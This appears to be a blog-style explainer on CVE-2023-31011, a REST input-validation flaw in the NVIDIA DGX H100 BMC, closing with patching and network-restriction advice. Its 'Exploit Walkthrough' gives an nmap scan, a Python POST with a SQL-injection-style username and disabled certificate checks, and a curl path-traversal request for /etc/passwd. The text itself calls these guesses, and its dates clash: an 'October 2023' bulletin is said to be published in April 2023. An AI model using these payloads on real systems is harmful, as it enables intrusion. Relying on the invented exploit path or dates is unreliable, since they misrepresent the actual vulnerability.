In April 2023, NVIDIA published NVIDIA Security Bulletin: DGX H100 BMC - October 2023, detailing a critical vulnerability tracked as CVE-2023-31011. This security flaw impacts the NVIDIA DGX H100 Baseboard Management Controller (BMC) REST service. If you're running NVIDIA's ultra-fast AI hardware, pay attention: attackers could gain higher privileges and potentially leak sensitive information.

What Is NVIDIA DGX H100 BMC?

NVIDIA DGX H100 is a computing powerhouse, mainly used for advanced AI workloads. The BMC is a tiny controller that manages the server's hardware beneath the main operating system. The BMC provides an API over REST (a web service) for administrators, allowing them to monitor, troubleshoot, and even power-cycle these servers remotely.

What Is CVE-2023-31011?

CVE-2023-31011 is a vulnerability in the input validation of the REST service used by the BMC. According to NVIDIA, improper input validation lets an attacker craft special requests that the server doesn't rigorously check or filter. If successful, this can lead to *privilege escalation* (the attacker gaining higher-level access than intended) or *information disclosure* (leaking private system or user data).

Root Cause

The REST API did not fully verify some input parameters. This means a bad actor could send unexpected or malicious values to functions handling user authentication, system info, or access control—potentially triggering logical flaws.

Exploit Walkthrough

> Disclaimer: This guide is strictly educational. Do not attempt to exploit any system you don't own or have explicit permission to test.

Let's look at what a basic exploit path might look like, based on publicly known issues with REST APIs and the hints in the bulletin.

1. Scanning for Open REST API

First, attackers scan the network for the DGX H100 BMC endpoint. Typically, BMC REST services run on ports like 443 (HTTPS).

nmap -p 443 --open -sV <target-ip>

2. Crafting a Malicious REST Request

Suppose the REST API takes a POST request for authentication, with parameters like username and password. Faulty input validation might let an attacker add extra fields, special characters, or use injection tactics.

Here's a simple Python script simulating a dangerous POST request

import requests

api_url = "https://<target-ip>/api/login";
payload = {
    "username": "admin'; --",
    "password": "whatever"
}

# Bypass certificate verification (self-signed, typical in BMCs)
response = requests.post(api_url, json=payload, verify=False)

print(response.status_code)
print(response.text)

If input isn't sanitized, the server could mishandle this payload—possibly bypassing access checks or revealing sensitive debug info in the reply.

Here’s a hypothetical GET request that might cause information disclosure

curl -k -X GET "https://<target-ip>/api/userinfo?userid=../../../../etc/passwd";

If the input isn’t validated, the REST API may leak out file contents or sensitive data.

PATCH IMMEDIATELY: Install the October 2023 BMC firmware and REST API updates from NVIDIA.

- NVIDIA DGX H100 Downloads & Updates
- Restrict Network Access: Only allow secure (VPN or management network) access to the BMC REST interface.

References & Further Reading

- NVIDIA Security Bulletin: DGX H100 BMC - October 2023
- NVIDIA Product Security Portal
- CVE Details: CVE-2023-31011

Final Thoughts

CVE-2023-31011 is a textbook example of why input validation matters, even on supposedly “internal” hardware like BMC controllers. When REST APIs are left unchecked, attackers can quickly escalate—a nightmare when those APIs guard supercomputers running the world’s most critical AI workloads.

If you run NVIDIA DGX H100, update now. Don’t let a simple input validation slip become your organization's next headline.

Timeline

Published on: 09/20/2023 02:15:00 UTC
Last modified on: 09/22/2023 16:11:00 UTC